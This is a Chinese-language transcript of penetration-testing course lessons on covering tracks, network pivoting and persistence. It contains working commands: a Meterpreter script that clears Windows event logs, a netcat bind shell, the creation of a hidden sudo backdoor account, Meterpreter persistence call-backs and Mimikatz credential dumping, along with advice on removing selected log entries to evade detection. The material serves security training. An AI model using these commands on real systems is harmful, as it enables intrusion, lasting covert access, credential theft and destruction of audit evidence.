- 临时文件:删除渗透过程中创建的任何临时文件。
- 缓存:清除可能记录活动信息的各种缓存。
- 日志条目:从系统日志中移除与渗透活动相关的记录。
- 临时用户:删除为渗透而创建的临时用户账户。
注意:直接删除整个日志文件容易被发现。更佳的做法是精准地移除由你的活动产生的特定日志条目。
定位并管理MySQL日志
在我们的实验环境中,获得权限后可能需要探查数据库。在操作数据库前,需先尝试禁用或规避其活动日志记录。
以下是定位MySQL相关日志的检查点:
- 检查默认日志位置:查看MySQL的默认日志文件是否存在。
- 检查系统日志:在标准系统日志文件中搜索MySQL条目。
- 检查配置文件:查看
/etc/mysql/my.cnf配置文件,确认是否启用了额外日志。若文件位置不同,可使用find命令搜索my*.cnf。 - 检查进程参数:运行
ps aux | grep mysql,查看MySQL守护进程启动时是否启用了日志记录。 - 检查其他日志进程:运行
ps aux | grep log,查看系统启用了哪些其他日志记录。 - 检查初始化脚本:检查
/etc/init.d/mysql或/etc/rc*.d/中的符号链接文件,确认MySQL服务启动时是否附带日志记录参数。 - 检查二进制日志:查看
/var/lib/mysql/目录下的二进制日志。这些日志主要用于SQL事务和复制,通常不记录数据库访问,但仍需核对时间戳以确认。
清除Windows系统日志
如果通过Meterpreter获得了Windows系统的shell,可以利用其Ruby环境动态清除日志。
首先,在Meterpreter shell中启动Ruby解释器:
irb
然后,设置要清除的日志变量并执行清除命令。例如,清除系统日志:
log = client.sys.eventlog.open('system')
log.clear
Windows系统中有多种事件日志,位于 C:\Windows\System32\winevt\Logs\ 目录下,文件扩展名为 .evtx。清除前应充分了解目标,避免删除不必要的日志,以防因过多日志缺失而引起管理员怀疑。


上图展示了Windows日志目录,红框内为系统日志,但可见还有其他多种日志需要审查。
使用脚本批量清除日志
可以编写Ruby脚本批量清除多个日志。以下脚本示例 clear_logs.rb:
# clear_logs.rb 脚本示例
['security', 'system', 'application', 'directory service', 'dns server', 'file replication service'].each do |log|
puts "Clearing the #{log} Event Log"
client.sys.eventlog.open(log).clear
end
将脚本放置在 /usr/share/metasploit-framework/scripts/meterpreter/ 目录下。当获得Meterpreter会话后,只需执行:
run clear_logs
脚本将依次清除列表中指定的日志(安全、系统、应用程序等),并在清除时打印日志名称。


上图展示了通过事件查看器(可通过右键点击“计算机”->“管理”->“事件查看器”->“Windows日志”打开)查看的系统日志在被清除前后的对比。
渗透测试收尾工作
至此,我们的道德黑客方法论已基本讲解完毕。最后阶段涉及为客户交互做准备:
- 分析结果与制定建议:分析所有发现,并为修复漏洞、降低风险制定建议。
- 撰写报告与准备演示:编写完整的渗透测试报告,并为客户准备结果演示。
- 清理系统:移除测试过程中留下的所有痕迹,使系统恢复如初,完全可操作。如果在测试范围内植入了后门,也必须全部清除。本质上,就是将系统恢复到原始状态。
总结
本节课中我们一起学习了渗透后痕迹清除的关键技术。本讲重点介绍了日志清除,而本模块涵盖的其他主题还包括后渗透技术、权限提升、横向移动、持久化和数据隐藏。接下来,我们将转向移动设备领域,探索针对Android模拟器使用渗透测试工具的方法。


081:跳岛攻击与网络枢纽渗透 🏝️➡️🔀
概述
在本节课中,我们将要学习一个至关重要的概念——枢纽渗透。在渗透测试或攻击中,我们常常只能获得一个低权限的初始立足点。本节课将介绍如何利用这个立足点,收集信息并探索网络内部,以寻找更高价值的攻击目标,这个过程也被形象地称为“跳岛攻击”。
枢纽渗透的重要性
我们的方法论已经引导我们完成了侦察、扫描和漏洞利用。但在许多情况下,我们可能只在一个对达成任务目标无关紧要的系统上获得了一个低权限的立足点。客户可能不认为这种访问构成实质威胁。然而,对于黑客和道德黑客而言,下一步都是确定我们能在网络中移动到何处,以便提升权限或窃取影响任务的关键敏感信息。
跳岛攻击的信息收集方法
以下是四种收集跳岛攻击信息的方法,本节课将对其进行概述。综合利用这四种来源的信息,可以帮助我们识别潜在目标,以及初始受害主机过去、现在和未来与之通信的其他设备。
在后续幻灯片中,我将讨论一些操作系统功能,它们能帮助你在成功入侵一台主机后收集跳岛攻击所需的信息。大多数情况下,工具依赖于操作系统。在幻灯片中,白色文本提供Linux语法,黄色文本提供Windows语法。
网络接口配置信息
ifconfig 是用于显示配置信息和控制网络接口的操作系统工具的一个例子。
ifconfig 的一些用途包括:设置接口的IP地址和子网掩码、查找MAC地址以及禁用指定接口。此外,Linux系统通常使用调用 ifconfig 的Shell脚本来初始化其接口。系统管理员经常使用此工具来显示和分析网络接口参数、默认网关以及DNS和WINS服务器。

识别网关的核心思想在于扩大我们的活动范围。如果初始受害者充当网关,它可以被视为一个将数据包转发到其他网络上其他计算机的路由器。这些路由可以由网络管理员硬编码(称为静态路由),也可以通过路由协议动态学习。重要的是,我们可以收集有关其他IP地址、VPN和远程设备的信息。
如果我们知道它同时充当VPN服务器,那么这台机器还将拥有对后端企业网络的访问权限和多个连接,这可以被用于跳岛攻击。我们可以通过检查Linux上的 ip_forward 开关或Windows上的 IPEnabledRouter 开关,来查看设备是否充当路由器。如果它启用了IP转发功能,我们就需要详细检查其路由表。路由表为路由器提供了如何利用现有的物理网络基础设施将数据包送达目的地的指令,无论数据包需要经过多少跳才能到达。我们想要利用这些信息。
分析路由表
任何使用TCP/IP的计算机都需要做出路由决策。路由表用于控制这些决策。就跳岛攻击而言,路由表将提供网关IP地址,并允许你识别新的网络和主机目标。
以下截图显示了一个Windows路由表。网络目标 和 网络掩码 列共同描述了一个网络。例如,目标 192.168.1.0 和网络掩码 255.255.255.0 可以写作网络 192.168.1.0/24。网关 列描述了下一跳,换句话说,它指向可以到达该网络的网关。接口 列指示哪个本地可用接口负责到达该网关。在此示例中,网关 192.168.1.1 可以通过地址为 192.168.1.3 的本地无线网卡到达。最后,跃点数 列表示使用指定路由的相关成本,这对于确定网络中两点之间某条路由的效率很有用。
网关列中的 在链路上 表示一条可直接到达的路由,换句话说,网络接口与其在同一子网上直接通信。因此,在表中,要联系 192.168.1.x/24 网络,只需从 192.168.1.3 向 192.168.1.x 发送数据包,目标机器将直接看到并接收该数据包。而列出的网关为 192.168.1.1 的路由,则必须通过该网关进行联系。
0.0.0.0 是默认路由,即当路由表中没有其他更具体的规则时使用的路由。它要求数据包从 192.168.1.3 发送到网关 192.168.1.1,然后由网关将其转发到最终目的地。当路由表中没有更具体的匹配项时,这是最后被评估的路由。

Linux路由表详解
在顶部,你可以看到我的一个Linux路由表,当时它非常简洁。它显示的格式与Windows路由表略有不同,尽管功能相同。在底部的PowerPoint版本中,我列出了路由类型的类别,以扩展上一张幻灯片的讨论。
主机路由 是针对特定IP地址的路由。随着你向下查看,下一个路由规则提供的信息越来越不具体,子网范围越来越大,直到最终到达默认路由。
因此,Linux路由表条目存储以下类型的路由:
- 主机路由:指向特定IP地址的路由,允许基于每个IP地址进行路由。网络ID是指定主机的IP地址,网络掩码是
255.255.255.255。 - 本地路由:针对直接连接的网络ID的路由。发往直接连接网络的IP数据包不会转发给路由器,而是直接发送到目的地。对于本地网络,网关显示为
0.0.0.0,例如,如果目的地在192.168.1.2到192.168.1.255的网络范围内。 - 远程网络ID路由:针对非直接连接但可通过其他路由器访问的网络ID的路由。网关字段将包含位于转发节点和远程网络之间的本地路由器的IP地址。
- 默认路由:当找不到更具体的网络ID或主机路由时使用的路由。默认路由的网络ID是
0.0.0.0,网络掩码是0.0.0.0,相当于Windows中的“在链路上”。当因为找不到更好的路由而选择默认路由时,IP数据包将使用接口列中对应IP地址的接口,转发到网关列中的IP地址。你可以使用ifconfig获取接口的IP。
地址解析协议缓存
地址解析协议用于查找给定IPv4地址对应的网络邻居的MAC地址。

如前所述,这里显示的工具输出用于查看本地机器的ARP表。命令行输入是带有各种开关的 arp。ARP表已被缓存,该工具列出了当前机器与之通信过的其他主机,为跳岛攻击提供了宝贵信息。
在Linux中,-n 开关禁用DNS查找来解析主机名,只使用数字地址,这提供了一种更安静的扫描技术,属于被动而非主动扫描。如果你在典型网络上运行 arp,你会看到每个人都与防火墙通信。因此,你必须逐步移动到防火墙,然后再进入内部网络。

NetBIOS 网络信息服务
NetBIOS是一种允许不同计算机上的应用程序在局域网内通信的程序。它由IBM为其早期PC网络创建,后被微软采用,并已成为其所在领域事实上的行业标准。其主要功能是作为通过TCP/IP传输的会话层协议,为计算机和共享文件夹提供名称解析。基于TCP/IP的NetBIOS将NetBIOS名称解析为IP地址,类似于DNS。
该系统还会缓存局域网内的通信信息,可以使用 net 命令或TCP工具查看。当启用时,NetBIOS为通过其通信的不同计算机上的应用程序提供三种不同的服务:
- 名称服务,用于名称注册和解析,通过UDP端口137完成。
- 数据报分发服务,用于无连接通信,同样通过UDP端口138完成。
- 会话服务,用于面向连接的通信,通过TCP端口139完成。
Windows上的 nbtstat 可以揭示有关NetBIOS名称以及远程或本地机器名称表的信息,但仅限于一台主机。Linux上的 nbtscan 是一个NetBIOS名称服务器扫描器,其功能与 nbtstat 相同,但它针对一个地址范围而不是单个地址进行操作。nbtscan 显示网络上运行NetBIOS服务的主机的IP地址、NetBIOS名称、登录用户和MAC地址。
一段时间前,微软引入了无需NetBIOS层、直接在TCP/IP上运行SMB的能力。这种直接的TCP/IP SMB运行在端口445,是运行SMB的首选方法。尽管如此,查看NetBIOS信息的能力仍应是你工具箱中的一部分。
命令行历史记录
查看命令行使用历史可以产生关于用户在机器上输入内容的有价值信息。用户可能无意中在命令行下输入了密码,历史文件会将其暴露。例如,如果你工作迅速,以为上次登录信息提示密码错误,你可能会重新输入密码,而没有意识到你已经登录。当发生这种情况时,它会留在历史文件中,如果用户没有想到清除它或不知道如何清除它。

命令行历史还可能产生关于命令行工具的信息,例如安全外壳、安全FTP、Telnet、远程登录,以及在访问其他计算机时的连接信息。
网络连接状态
netstat 显示有关活动网络配置的资源信息。它可能允许攻击者识别本地服务以进行潜在的权限提升,或识别到其他网络的已建立连接(可能通过防火墙)。它甚至可能提供帮助攻击者劫持会话的信息。

如本幻灯片所示,netstat 有许多选项。Windows上的 -n 允许你关闭名称解析,使侦察更加被动。而 -b 用于列出涉及的可执行文件,需要管理员权限,因此你必须以管理员身份运行命令提示符才能使用它。正如下一张幻灯片将说明的,输出提供了本地和远程IP地址以及连接状态。

Netstat 输出示例
这是我的Windows机器上的 netstat 输出。-tn 显示活动的TCP连接,-a 表示所有端口,-o 表示包含进程ID。netstat -tno 和 tasklist 可以让你比较进程ID,并杀死具有未知外部地址(例如C2服务器)的可疑进程。
曾经有一段时间,我使用卡巴斯基杀毒软件,并且连接到了英国的服务器。但我必须进行一些挖掘才能确定这一点。这种连接可以通过更改配置选项在一定程度上进行控制。但这正是可能由 netstat 引发的调查类型。

Net 命令
Windows上的 net 命令将为你提供网络资源的视图、共享这些资源的计算机,并可能允许你连接到这些资源(如果没有访问控制机制的话)。

net 有时是建立跨网络打印连接的有用工具。与我们在此讨论的许多工具一样,它提供了网络连接和工作组中允许共享资源的计算机的视图。

Net 命令帮助信息
此截图是 net 命令的帮助屏幕。在这种情况下,我还请求了有关帐户的信息,你可以看到该命令返回了一些用于帐户管理的管理信息。
实战脚本与后续步骤
2013年,专门从事安全事件取证和调查的公司Mandiant,撰写了一份关于中国高级持续性威胁的报告,并试图识别APT攻击者的身份。作为该报告的一部分,Mandiant识别出攻击者在获得机器访问权限后立即使用的一个脚本。你可以看到,我在这里讨论的几个工具都包含在这个脚本中。其明确目标是立即捕获尽可能多的信息,以协助他们获取对其他潜在受害者(包括可能在网络上的域控制器)的访问权限。
虽然我没有重点讨论Windows网络,但攻击者的首要目标是找到域控制器。你甚至可能会发现测试这个脚本很有趣,但请不要这样做。它很可能会被你组织的IDS或IPS识别或阻止,并且你可能需要为此做出解释。Mandiant报告值得一读,如果你还没有看过的话。目前可以在 intelreport.mandiant.com 找到。如果报告因某种原因被移动或链接失效,你应该能够通过搜索“Mandiant”和“APT1”找到它。
一旦你在一个主机上获得了立足点,道德黑客的过程就重新开始了。你开始从内部进行侦察和扫描。Metasploit通常安装在Linux机器上,甚至可能提供网络脚本引擎功能。在我们的虚拟黑客环境中就是这种情况,但由于Linux版本较旧,Metasploit上的可用脚本有限。你可能能够将脚本从攻击机移动到目标机,然后从防火墙内部运行它们。
配置错误也可以被利用。出于多种原因,管理员可能会重用管理员或域控制器的访问密码。虽然这是一个严重的安全错误,但如果网络很大,它可以消除跟踪多个密码或将它们写在可能被窃取的文件中的需要。这种做法是安全性与易用性之间经典权衡的完美例子。无论如何,一旦你获得了管理员密码,你应该尝试在所有地方使用它,看看是否有效。在许多情况下,它会。

总结
本节课中我们一起学习了枢纽渗透和跳岛攻击的核心概念。我们探讨了多种用于在网络内部收集信息、识别新目标的工具和技术,包括分析网络接口配置、路由表、ARP缓存、NetBIOS信息、命令行历史、网络连接状态以及使用 net 命令。这些信息对于从一个初始的、可能权限较低的立足点出发,逐步深入目标网络,寻找更高价值目标至关重要。接下来,我们将讨论持久化和后门。
082:持久化维持技术 🔐
在本节课中,我们将要学习渗透测试中的一个核心概念——持久化维持技术。其核心目标是,在成功获得初步访问权限或提升权限后,避免重复进行复杂的攻击过程,而是通过植入“后门”来维持对目标系统的长期、隐蔽访问。
上一节我们讨论了权限提升,本节中我们来看看如何将这种访问权限固定下来。
后门的概念与重要性
后门是一种绕过正常认证流程、秘密访问计算机系统的方法。对于渗透测试者而言,植入后门至关重要,因为它能确保我们无需重复执行复杂的漏洞利用过程即可重新访问目标系统。
然而,道德黑客与恶意黑客的一个主要区别在于,测试完成后必须确保移除所有后门。客户甚至可能将植入后门视为超出渗透测试范围的行为,原因有二:一是担心后门未被彻底清除,二是在测试结束前,后门可能被其他恶意攻击者利用。
从方法论上看,我们现在正离开“漏洞利用”阶段,进入“维持访问”和“隐藏踪迹”阶段。
持久化维持技术概览
如果你通过浏览器漏洞获得了一个反向Shell,而受害者关闭了浏览器,连接就会丢失。那么,有哪些技术可以维持访问呢?即使你利用了一个更持久的漏洞,如果计算机重启了,又该如何维持访问?
以下是几种关键的持久化技术:
1. 进程迁移
Windows系统中的explorer.exe(Windows资源管理器)是一个持久化进程,它提供了图形用户界面,很少被终止。我们可以利用像Meterpreter这样的工具,将Shell从脆弱的被利用进程(如浏览器)迁移到这个更稳定的进程中。
代码示例:Meterpreter迁移命令
meterpreter > migrate <PID_of_explorer.exe>
然而,迁移到explorer.exe的会话在系统重启后无法存活。要克服这个问题,就需要安装后门。
2. 利用系统启动项
一个更持久的方法是在目标系统启动时自动运行一个进程。这个进程会静默运行并回连到攻击者,重新建立连接。
- 在Linux上,可以通过
/etc/rc.local或cron任务(如@reboot)实现。 - 在Windows上,可以通过修改注册表启动项实现。
3. Netcat 后门
Netcat是一个网络工具,可用于创建简单的后门。如果目标系统已安装Netcat,可以设置一个监听器,在连接时提供Shell。
命令示例:
# 在目标机器上(监听):
nc -lvp 4444 -e /bin/sh
# 在攻击机器上(连接):
nc <目标IP> 4444
4. SSH 后门
如果能在目标Linux系统上运行SSH服务,获取用户密码或添加SSH公钥到authorized_keys文件,就可以通过SSH实现稳定、加密的后门访问。
核心步骤:
- 获取目标用户的密码或私钥。
- 确保SSH服务(
sshd)在运行。 - 如果防火墙限制,可利用已获得的权限将SSH服务改到开放端口。
- 使用
ssh user@target_ip连接。

5. 创建隐藏用户账户

在获得root权限后,可以直接在系统上创建新的用户账户作为后门。

Linux示例命令:
# 添加用户并设置密码
useradd -m -s /bin/bash backdooruser
echo “backdooruser:password” | chpasswd
# 或将用户加入sudo组
usermod -aG sudo backdooruser
6. 利用Meterpreter的持久化模块

Meterpreter内置了强大的持久化脚本,可以自动配置在系统启动或用户登录时运行。

命令示例:
meterpreter > run persistence -h # 查看帮助
meterpreter > run persistence -U -i 60 -p 443 -r <攻击者IP>
# -U: 用户登录时启动
# -i: 回连间隔(秒)
# -p: 监听端口
# -r: 攻击者IP
7. 票据传递与黄金票据
在Windows域环境中,Kerberos协议用于身份验证。攻击者如果获取了域控制器的密钥(如KRBTGT账户的哈希),就可以伪造被称为“黄金票据”的票证授予票证(TGT)。拥有黄金票据,攻击者可以在很长一段时间内(如数年)访问域内的任何服务。
核心概念:
- 黄金票据攻击公式:
伪造的TGT = 加密(KRBTGT密钥, 票据数据) - 这需要先获得域管理员级别的权限。
8. 利用Mimikatz提取凭证
Mimikatz是一款能够从Windows内存中提取明文密码、哈希、PIN码和Kerberos票据的工具。提取的凭证(如NTLM哈希)可用于横向移动或创建后门账户。
典型用法:
meterpreter > load mimikatz
meterpreter > mimikatz_command -f sekurlsa::logonPasswords full
总结与注意事项
本节课中我们一起学习了多种维持访问权限的技术,从简单的进程迁移、Netcat后门,到复杂的SSH密钥植入、Meterpreter持久化模块、以及域环境下的黄金票据攻击。
关键要点总结:
- 目的:持久化旨在将一次性的攻击成果转化为长期、隐蔽的访问通道。
- 核心方法:包括植入启动项、创建后门账户、利用合法服务(如SSH)、以及窃取和伪造身份凭证。
- 道德约束:必须在渗透测试开始前与客户明确约定后门的使用和清除计划,并严格遵守。测试结束后,务必彻底清除所有后门。
- 技术选择:选择哪种技术取决于目标系统环境(Windows/Linux, 是否在域中)、已获得的权限级别以及对隐蔽性的要求。

持久化是攻击链中承上启下的关键一环,它确保了前期努力的成果不会丢失。接下来,我们将探讨如何在已攻陷的系统中隐藏数据和活动痕迹。

浙公网安备 33010602011771号